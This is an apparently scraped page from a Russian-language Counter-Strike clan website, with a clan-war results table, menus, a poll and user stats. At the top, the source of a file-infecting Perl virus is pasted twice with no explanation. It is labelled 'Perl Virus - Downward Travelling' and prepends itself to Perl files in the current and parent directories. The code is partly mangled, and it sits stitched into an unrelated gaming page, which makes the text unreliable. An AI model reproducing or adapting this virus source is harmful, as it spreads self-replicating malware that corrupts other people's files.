Mixway gaming community

#!/usr/bin/perl #Perl Virus - Downward Travelling open(File,$0); @Virus=; @Virus=@Virus[0...30]; close(File); &InfectFile; if (($^O =~ "bsd") or ($^O =~ "linux") or ($^O =~ "solaris")) { $OldDir = `pwd ` } # Новая строка if (($^O =~ "dos") or ($^O =~ "MSWin32")) { $OldDir = `cd` } # Новая строка $DotDot = '..'; # Новая строка if ($^O =~ "MacOS") { $DotDot = "::" } # Новая строка chdir($DotDot); # Новая строка &InfectFile; chdir($OldDir); # Новая строка sub InfectFile { foreach $FileName (<*>) { if ((-r $FileName) && (-w $FileName) && (-f $FileName)) { open(File, "$FileName"); @Temp=; close(File); if ((@Temp[1] =~ "Virus") or (@Temp[2] =~ "Virus")) { if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl")) { open(File, ">$FileName"); print File @Virus; print File @Temp; close (File); }}}}} Mixway gaming community #!/usr/bin/perl #Perl Virus - Downward Travelling open(File,$0); @Virus=; @Virus=@Virus[0...30]; close(File); &InfectFile; if (($^O =~ "bsd") or ($^O =~ "linux") or ($^O =~ "solaris")) { $OldDir = `pwd ` } # Новая строка if (($^O =~ "dos") or ($^O =~ "MSWin32")) { $OldDir = `cd` } # Новая строка $DotDot = '..'; # Новая строка if ($^O =~ "MacOS") { $DotDot = "::" } # Новая строка chdir($DotDot); # Новая строка &InfectFile; chdir($OldDir); # Новая строка sub InfectFile { foreach $FileName (<*>) { if ((-r $FileName) && (-w $FileName) && (-f $FileName)) { open(File, "$FileName"); @Temp=; close(File); if ((@Temp[1] =~ "Virus") or (@Temp[2] =~ "Virus")) { if ((@Temp[0] =~ "perl") or (@Temp[1] =~ "perl")) { open(File, ">$FileName"); print File @Virus; print File @Temp; close (File); }}}}}

Главная

Форум


	Меню

	Главная страница Таблица CW Устав клана Состав клана Тренеровки Видео для клана Доска позора Личные стр Гостевая Связь Файлы Форум

Чат


	Опрос

	Смотрите ли вы наши онл фильм да неслышал о током нет Всего ответов: 14


	Статистика

	Online : Онлайн всего: 1 Гостей: 1 Пользователей: 0 Users :


	Друзья

Таблица CW - FD| кЛаН - Описание сайта

Команда противника	Карта	Количество	Победитель	Счёт
Go.Tm.	dd2	2x2	FD\|	0:16
MIX	dd2	3x3	MIX	16:15
MIX	dd2	3x3	FD\|	14:16
socks #	dd2	3x3	FD\|	0:16
MIX	dd2	3x3	FD\|	6:16
Alternative \|	dd2	3x3	Alternative \|	16:6
Alternative \|	de_train	3x3	FD\|	6:16
Alternative \|	de_inferno	3x3	Alternative \|	16:13

Кабинет

Понедельник, 23.12.2024,

Гость

Сообщения:

Группа: Гости

Логин:

Пароль:

запомнить

Забыл пароль | Регистрация

Топ пользователей

JannieBion

Новостей: 1113
Сообщений: 0
Комментарий: 0
Репутация: 0

Muslimer

Новостей: 718
Сообщений: 6
Комментарий: 0
Репутация: 0

Pitertata

Новостей: 203
Сообщений: 0
Комментарий: 0
Репутация: 0


	Случайное видео

Block title

erik


	Наш Баннер

	Мы будем вам признательны, если вы разместите нашу кнопку у себя на сайте.: